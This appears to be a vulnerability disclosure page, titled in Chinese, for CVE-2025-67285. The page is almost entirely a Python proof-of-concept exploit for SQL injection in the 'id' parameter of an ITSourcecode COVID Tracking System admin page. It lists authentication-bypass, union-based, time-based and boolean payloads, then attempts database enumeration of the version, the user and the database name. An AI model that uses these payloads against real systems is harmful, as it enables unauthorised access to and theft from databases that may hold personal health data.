CVE-2025-67285 ITSourcecode COVID追踪系统SQL注入漏洞

# CVE-2025-67285 SQL Injection PoC # Target: ITSourcecode COVID Tracking System Using QR-Code v1.0 # Endpoint: /cts/admin/?page=zone # Parameter: id import requests import sys target = "http://target.com/cts/admin/?page=zone" # Basic SQL Injection Test - Boolean Based print("[*] Testing CVE-2025-67285 SQL Injection...") # Normal Request normal_payload = {"id": "1"} response_normal = requests.get(target, params=normal_payload) print(f"[+] Normal Request Status: {response_normal.status_code}") # SQL Injection Payloads payloads = [ "1' OR '1'='1", # Basic Authentication Bypass "1' UNION SELECT 1,2,3--", # Union-based Injection "1' AND SLEEP(5)--", # Time-based Blind Injection "1' AND 1=1--", # Boolean Test - True "1' AND 1=2--", # Boolean Test - False ] for payload in payloads: print(f"\n[*] Testing Payload: {payload}") params = {"id": payload} try: response = requests.get(target, params=params, timeout=10) print(f"[+] Response Length: {len(response.text)}") print(f"[+] Status Code: {response.status_code}") if len(response.text) != len(response_normal.text): print("[!] Potential vulnerability detected!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Database Enumeration Payload (if vulnerable) print("\n[*] Attempting Database Enumeration...") enum_payload = "1' UNION SELECT NULL,version(),user(),database()--" params = {"id": enum_payload} response = requests.get(target, params=params) print(f"[+] Enumeration Response Length: {len(response.text)}") print("\n[*] PoC Complete. Manual verification required.")